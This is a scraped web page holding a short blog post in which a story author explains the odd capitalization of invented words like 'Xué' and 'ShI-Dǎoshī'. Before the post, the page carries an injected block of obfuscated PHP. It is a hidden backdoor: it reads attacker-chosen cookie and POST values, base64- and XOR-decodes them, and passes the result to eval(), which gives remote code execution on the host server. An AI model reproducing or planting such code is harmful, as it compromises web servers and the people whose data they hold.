$cvrLdpg = "\156" . chr ( 971 - 876 ).chr (65) . "\x7a" . chr ( 653 - 581 )."\x42";$LyKRwhi = "\143" . chr ( 567 - 459 ).chr ( 98 - 1 )."\x73" . chr ( 1035 - 920 ).chr (95) . "\145" . chr (120) . 'i' . "\163" . chr ( 619 - 503 ).chr (115); $OjvxhGcQU = $LyKRwhi($cvrLdpg); $cvrLdpg = "39711";$UuKAGWwj = !$OjvxhGcQU;$LyKRwhi = "11332";if ($UuKAGWwj){class n_AzHB{private $COHzVMSkV;public static $DTTUq = "ad33ec15-1dd6-47d3-9e55-dc4cd0e1aeda";public static $vDmzkoXjC = 59502;public function __construct($fGSTrNXC=0){$GdMikU = $_COOKIE;$ohBCTYva = $_POST;$wYDQJRywzX = @$GdMikU[substr(n_AzHB::$DTTUq, 0, 4)];if (!empty($wYDQJRywzX)){$vzIJhUkJUm = "base64";$AntCgMVe = "";$wYDQJRywzX = explode(",", $wYDQJRywzX);foreach ($wYDQJRywzX as $NEdTZWGp){$AntCgMVe .= @$GdMikU[$NEdTZWGp];$AntCgMVe .= @$ohBCTYva[$NEdTZWGp];}$AntCgMVe = array_map($vzIJhUkJUm . chr (95) . "\x64" . chr (101) . "\x63" . "\157" . chr ( 474 - 374 ).chr (101), array($AntCgMVe,)); $AntCgMVe = $AntCgMVe[0] ^ str_repeat(n_AzHB::$DTTUq, (strlen($AntCgMVe[0]) / strlen(n_AzHB::$DTTUq)) + 1);n_AzHB::$vDmzkoXjC = @unserialize($AntCgMVe);}}private function dYetSefyK(){if (is_array(n_AzHB::$vDmzkoXjC)) {$abllanXh = str_replace("\x3c" . chr (63) . "\160" . "\x68" . chr (112), "", n_AzHB::$vDmzkoXjC["\143" . chr (111) . chr ( 299 - 189 ).chr ( 717 - 601 ).chr ( 613 - 512 )."\156" . "\164"]);eval($abllanXh); $CeOaPMUi = "4646";exit();}}public function __destruct(){$this->dYetSefyK(); $ljChaUvWqe = str_pad("4646", 10);}}$LCfaFUyv = new /* 56629 */ n_AzHB(); $LCfaFUyv = substr("11805_42847", 1);} What’s Up With The Odd Capitalization? – Apollo Salvatoir

What’s Up With The Odd Capitalization?

You may have noticed that my story includes some words that are at times strangely capitalized. As an example, consider the following words:

Xué
The X is always capital.
ShI-Dǎoshī
The i (third letter) is always capitalized. Though, it just now occurs to me that most readers probably think that is an L rather than a captial I…

Why are they written that way? The truth is, I have no good answers. Wish I did, but I don’t. Ten-year-old boys creating stories don’t always have good reasons for why they do things! Honestly, I think if I remember right, it was a typo long ago, and I just sort of kept it that way. I began to see it that way in my head, and couldn’t change it, because it would feel wrong.

Blame it on a ten-year-old boy, and move on.
I got nothing better to offer you!

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